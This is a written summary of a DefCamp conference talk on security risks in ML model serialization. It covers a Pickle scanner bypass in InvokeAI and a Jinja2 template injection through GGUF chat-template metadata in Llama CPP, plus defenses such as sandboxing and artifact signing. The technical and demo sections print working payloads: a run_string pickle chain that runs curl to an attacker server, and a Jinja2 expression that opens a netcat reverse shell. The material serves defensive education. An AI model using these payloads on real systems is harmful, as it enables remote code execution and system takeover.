Trust No Format: Risks and Defenses for ML Model Serialization

Trust No Format: Risks and Defenses for ML Model Serialization

Speakers: Octavian Purcaru (Incident Response Commander, Adobe), Văşcuță Denis (Penetration Tester)

Conference: DefCamp

YouTube: https://www.youtube.com/watch?v=tVIYuSRAbf8

Overview

In the rapidly evolving landscape of machine learning, the seemingly innocuous act of downloading and executing a pre-trained model carries significant, often overlooked, security risks. Octavian Purcaru, Incident Response Commander at Adobe, and Văşcuță Denis, a seasoned Penetration Tester, shed light on these critical vulnerabilities in their DefCamp talk, "Trust No Format: Risks and Defenses for ML Model Serialization." Their presentation serves as a stark warning: a model file should be considered executable input until proven otherwise. The talk dissects how seemingly simple model formats can become potent attack surfaces, enabling attackers to craft malicious models, exploit serialization vulnerabilities, and poison entire ML pipelines.

The core premise of the talk revolves around the silent trust placed in the ML stack and the inherent dangers residing within model serialization methods. Purcaru and Denis emphasize that every file format carries assumptions, shortcuts, and trust boundaries that attackers are eager to cross. They illustrate how the flexibility and efficiency designed into common serialization formats like Python's Pickle and GGF (GGML Format for Large Language Models) can be weaponized, leading to severe consequences ranging from remote code execution (RCE) to widespread supply chain compromises. This presentation is crucial for anyone involved in developing, deploying, or utilizing machine learning models, urging a fundamental shift in how model integrity and security are perceived and managed.

The speakers meticulously break down the mechanics of these vulnerabilities, demonstrating how they manifest in real-world applications such as InvokeAI and Llama CPP. They not only expose the technical intricacies of these attacks but also provide actionable remediation strategies. The ultimate goal is to compel the audience to rethink their approach to ML security, advocating for robust defensive measures that treat model formats as critical components of the attack surface, demanding rigorous validation and sandboxing to protect against a new generation of sophisticated threats.

Background

▶ Watch: Model files are executable input until proven otherwise (0:30)

The foundation of modern machine learning often relies on the ability to save and load complex models, a process known as serialization and deserialization. Serialization transforms live objects (like trained neural networks, their weights, and associated logic) into a stream of bytes, allowing them to be stored, transmitted, and later reconstructed. Deserialization reverses this process, turning the byte stream back into functional objects. While this capability is essential for efficiency and model sharing, it introduces a significant attack surface, as highlighted by Purcaru and Denis.

The talk primarily focuses on two prevalent serialization methods: Pickle and GGF. Pickle is Python's native serialization format, renowned for its flexibility. It can capture nearly anything, from tensors and class definitions to functions, making it incredibly convenient for Python-based ML workflows. However, this very flexibility is its Achilles' heel: it allows data to become code during loading, inherently storing not just data but also behavior. In contrast, GGF (originally GGML, now often referred to as GGUF) is a more recent, efficient binary format built specifically for large language models. While GGF itself doesn't execute arbitrary code on load like Pickle, it stores rich metadata that can profoundly influence runtime behavior. The critical distinction is that Pickle attacks often manifest upon model loading, whereas GGF attacks typically occur during the model's use, specifically when applications process its metadata.

The problem of malicious model files is not theoretical; it has already surfaced in the wild, underscoring the urgency of this discussion. The speakers reference several high-profile incidents and analyses: malicious AI models discovered in services like Replicate, detailed vulnerability analyses of the GGF format published by Databricks, and reports on "model payloads that sneak through Hugging Face" covered by Hacker News. These examples collectively reinforce a singular, critical message: model files have emerged as a serious infection vector, and protecting AI systems now fundamentally means protecting the formats upon which AI runs. The silent trust placed in these formats, often downloaded from public repositories, represents a critical blind spot in many ML security postures.

Key Findings

▶ Watch: Core risks: Pickle (load-time) vs. GGF (runtime) (5:35)

The talk meticulously dissects the core risks associated with ML model serialization, identifying distinct threat models for Pickle and GGF formats. The overarching key finding is that model files are executable input until proven otherwise, demanding a fundamental shift in how security professionals and ML practitioners approach model integrity.

For Pickle, the primary danger stems from its extreme flexibility. As Python's native serializer, Pickle can serialize virtually any Python object, including code. This means that when a Pickle file is deserialized (unpickled), Python reconstructs objects by calling functions and constructors defined within the serialized data. This process can be maliciously exploited to achieve arbitrary code execution during the loading phase. The core principle highlighted by the speakers is that Pickle doesn't just store data; it stores behavior. Consequently, deserializing untrusted Pickle data in a privileged environment is a direct path to compromise, making it a potent vector for supply chain attacks if models are sourced from unverified origins.

The GGF format, while not executing code directly on load, presents a different but equally dangerous threat model. Its danger lies in its rich metadata fields, which define how a model interacts with prompts, chat templates, and other runtime parameters. If an application processes or renders this metadata using a templating engine (such as Jinja2) without proper sandboxing or validation, an attacker can inject malicious template expressions. This leads to delayed execution, where the attack payload is triggered not when the model file is loaded, but when the application attempts to use the model and process its malformed metadata. This shifts the threat from load-time to run-time, making it harder to detect with static scans alone and requiring runtime protections.

The talk underscores that these vulnerabilities are not theoretical but have been exploited in prominent ML frameworks, revealing significant gaps in current security practices. The "silent trust" developers place in ML models downloaded from the internet—a common practice—is precisely the moment attackers exploit. The cumulative findings emphasize that protecting AI now requires a deep understanding and proactive defense of the underlying serialization formats, treating them as critical components of the system's attack surface rather than inert data containers.

Technical Deep Dive

▶ Watch: PoC: GGF Jinja2 template injection in Llama CPP (9:55)

The speakers illustrated their key findings with two compelling real-world examples, demonstrating how serialization vulnerabilities can lead to remote code execution in widely used ML frameworks.

The first deep dive focused on a Pickle serialization bug in InvokeAI, a popular generative AI software. The initial vulnerability stemmed from the scan_file setting being false by default, allowing potentially malicious Pickle files to be loaded. While a patch was released, it was unfortunately flawed. The patch introduced a third-party tool, pickle_scan, to inspect incoming models. However, an attacker discovered a bypass for pickle_scan, enabling remote code execution.

The bypass leveraged specific Python built-in functions in conjunction with the NumPy library. The attack chain exploited the __reduce__ function, a special method used by the pickler to control how an object is serialized. By crafting a custom class whose __reduce__ method returned a tuple designed to call numpy.testing.private_utils.run_string, the attacker could execute arbitrary Python code. The run_string function, intended for internal testing, accepts a string and executes it as Python code. The core steps observed during the dissection of the malicious model using pickletools were:

1. GLOBAL numpy.testing.private_utils run_string: This opcode instructs the Python pickle machine to import the run_string function from the numpy.testing.private_utils module.
2. BINUNICODE import os; os.system('curl <ATTACKER_SERVER>'): This embeds the actual shell command, in this case, a curl command designed to achieve a callback to an attacker-controlled server, demonstrating remote code execution.
3. TUPLE2: This opcode builds a tuple containing the embedded command and an empty dictionary (as arguments for run_string).
4. REDUCE: Finally, this opcode calls the previously imported run_string function with the crafted arguments, thus executing the attacker's shell command. The pickle_scan tool failed to detect this specific abuse of run_string, allowing the payload to execute undetected.

The second technical deep dive explored a significant GGF vulnerability in Llama CPP, an inference engine for large language models. This vulnerability stemmed from how Llama CPP handled chat formats specified in model metadata. When the chat_format and chat_handler parameters were None, the application would invoke the guess_chat_format method. This method attempted to infer the chat format from the model's metadata and then parsed it into a Jinja2 chat formatter.

The critical flaw was that the code instantiated a plain Jinja2 environment without a sandbox. Jinja2 is a powerful templating engine that, when unsandboxed, can compile and render attacker-controlled template expressions containing embedded code. The vulnerability allowed for arbitrary code execution or denial of service because Jinja2's renderer evaluates evil (or eval equivalent) expressions, enabling attackers to reach Python objects and execute arbitrary code during prompt construction.

The proof-of-concept for the Llama CPP vulnerability involved a crafted GGF chat template. The template payload leveraged Jinja2's template syntax to perform attribute traversal and invocation of callables available via the render context. A typical payload structure would be:

{{ ''.__class__.__base__.__subclasses__()[<index_of_warnings_module>].__init__.__globals__['__builtins__']['__import__']('os').system('mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <VPS_IP> <PORT> >/tmp/f') }}

This complex Jinja2 expression works by:

1. Accessing the base object class (''.__class__.__base__).
2. Retrieving a list of all its subclasses (.__subclasses__()).
3. Locating a specific module within this list (e.g., the warnings module, which is often present and has accessible globals).
4. Through the chosen module, accessing its __init__.__globals__, which exposes the Python interpreter's global built-in functions.
5. Using __builtins__['__import__'] to import the os module.
6. Finally, executing arbitrary OS commands using os.system(), in this case, a reverse shell command to connect back to an attacker's VPS. This demonstrates how attacker-controlled metadata, when processed by an unsandboxed templating engine, can lead to full system compromise.

Both examples underscore the severity of these serialization vulnerabilities, highlighting how different formats, with their unique characteristics, can be abused to achieve remote code execution, posing significant risks to ML pipelines and systems.

Demo / Proof of Concept

▶ Watch: Supply chain risks and malicious models on platforms (12:05)

The speakers provided clear demonstrations and proof-of-concept (PoC) examples for both the Pickle and GGF vulnerabilities, illustrating the practical exploitability of these flaws.

For the Pickle vulnerability in InvokeAI, the PoC involved crafting a malicious Python object that, when pickled and subsequently unpickled, would execute arbitrary code. The core of this demonstration was defining a custom Python class with a specially crafted __reduce__ method. This method was designed to return a tuple that would instruct the unpickler to import numpy.testing.private_utils.run_string and then call it with a malicious string argument. This string argument contained a command like import os; os.system('curl http://<attacker_ip>/callback'). The curl command served as a simple callback mechanism to confirm successful remote code execution on the target system. The speakers mentioned attaching a video for the full exploitation path, visually demonstrating how a user could bypass pickle_scan and gain RCE.

Regarding the GGF vulnerability in Llama CPP, the PoC demonstrated how a malicious chat_template embedded within the model's metadata could lead to remote code execution. The attacker would craft a GGF model where the chat_template field contained a sophisticated Jinja2 expression. This expression, as detailed in the technical deep dive, leveraged attribute traversal (''.__class__.__base__.__subclasses__()...) to gain access to Python's built-in __import__ function. Once the os module was imported, arbitrary shell commands could be executed. The specific command demonstrated was designed to establish a reverse shell: mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <VPS_IP> <PORT> >/tmp/f. This command creates a named pipe, pipes the output of a bash interactive shell through it, and then sends it to an attacker-controlled Netcat listener on a Virtual Private Server (VPS), while also piping the Netcat input back into the named pipe, thus creating a full interactive reverse shell. This PoC highlighted that the attack was triggered at render time when the unsandboxed Jinja2 environment processed the malicious template, confirming RCE.

These demonstrations served as concrete evidence of the vulnerabilities, showing not just theoretical attack paths but also practical methods for achieving system compromise through seemingly trusted ML model files.

Defensive Implications

▶ Watch: Q&A: EDR detection for model serialization attacks (15:20)

Addressing the serious threats posed by ML model serialization vulnerabilities requires a multi-layered defensive strategy. The speakers provided actionable remediation steps, emphasizing the need to build systems that "fail safely" when confronted with malicious artifacts.

For Pickle, the primary recommendation is to avoid it whenever possible, especially when dealing with untrusted data. If its use is absolutely unavoidable (e.g., for internal, trusted pipelines), then strict controls must be in place:

• Restrict serialization to safe objects and types: Only allow known, benign classes and data structures to be pickled and unpickled.
• Use weights_only=True in PyTorch: This specific PyTorch setting helps to load only the model weights, minimizing the risk of executing arbitrary code embedded within the model's structure.
• Sandbox the deserialization environment: Any process that unpickles data, especially from external sources, should run in a highly constrained environment. This includes no network access, minimal operating system privileges, and ideally, containerization or isolation to limit the blast radius of a successful exploit.

For GGF (and any other format that uses metadata to influence runtime behavior), the focus shifts to rigorous validation and sandboxing of metadata processing:

• Never render templates from model metadata directly: Treat all metadata as untrusted data. If metadata contains templating logic, it should never be passed to an unsandboxed templating engine.
• Treat metadata purely as data and validate it: Implement strict schema validation and sanitization for all metadata fields. Ensure that no executable code or dangerous expressions can be embedded.
• Harden templating runtime if rendering is absolutely required: If templating is a functional necessity, ensure the templating engine (e.g., Jinja2) is configured with a robust sandbox. This means disabling dangerous functions and attributes, restricting access to Python built-ins, and limiting template capabilities to only what is strictly necessary.
• Disable automatic rendering paths in production: Avoid any default or automatic mechanisms that might interpret metadata as executable templates without explicit, secure configuration.

Across both Pickle and GGF, and indeed for any ML artifact, the speakers stressed general best practices:

• Enforce origin checks: Verify the source of every model and artifact. Do not implicitly trust models downloaded from public repositories without independent verification.
• Require signatures for every artifact: Implement cryptographic signing for all models and associated files. This allows for verification of the model's integrity and authenticity, ensuring it hasn't been tampered with since its trusted origin.

Ultimately, the defensive posture must evolve to proactively anticipate and mitigate these threats. This means moving beyond reactive measures and establishing secure pipelines, rigorous validation, and a "trust no format" mindset from development to deployment. EDR solutions, while helpful, often detect these attacks at a later stage (e.g., C2 communication or anomalous behavior) rather than preventing the initial compromise, underscoring the need for preventative controls at the serialization/deserialization boundary.

Key Takeaways

• ML model files are executable input until proven otherwise. This fundamental principle should guide all security decisions regarding machine learning assets.
• Pickle poses an immediate RCE risk on load due to its ability to serialize arbitrary Python code and behavior, making it inherently dangerous for untrusted data.
• GGF (and similar metadata-rich formats) can lead to RCE at runtime if metadata, particularly chat templates, is processed by unsandboxed templating engines like Jinja2.
• Serialization vulnerabilities are a significant supply chain threat, as demonstrated by real-world exploits in InvokeAI and Llama CPP, impacting widely used ML frameworks.
• Defenders must implement rigorous validation and sandboxing. This includes avoiding Pickle for untrusted data, using weights_only=True in PyTorch, sandboxing all deserialization processes, and strictly validating/sanitizing GGF metadata while disabling automatic template rendering.
• Proactive security measures are paramount. Enforcing origin checks, requiring cryptographic signatures for all ML artifacts, and building systems to fail safely are crucial for protecting against malicious models.

About the Speaker(s)

Octavian Purcaru serves as an Incident Response Commander at Adobe. His expertise lies in navigating and mitigating complex security incidents, making him the "person you want to have on your side when things go sideways," as he humorously noted. His role involves deep understanding of attack vectors and effective defensive strategies in enterprise environments.

Văşcuță Denis is a skilled Penetration Tester. He boasts a background as a former CTF (Capture The Flag) player, having had the distinction of representing Romania twice at the prestigious European Cyber Security Challenge. Denis also holds several cybersecurity certifications, demonstrating his comprehensive knowledge and practical skills in identifying and exploiting vulnerabilities.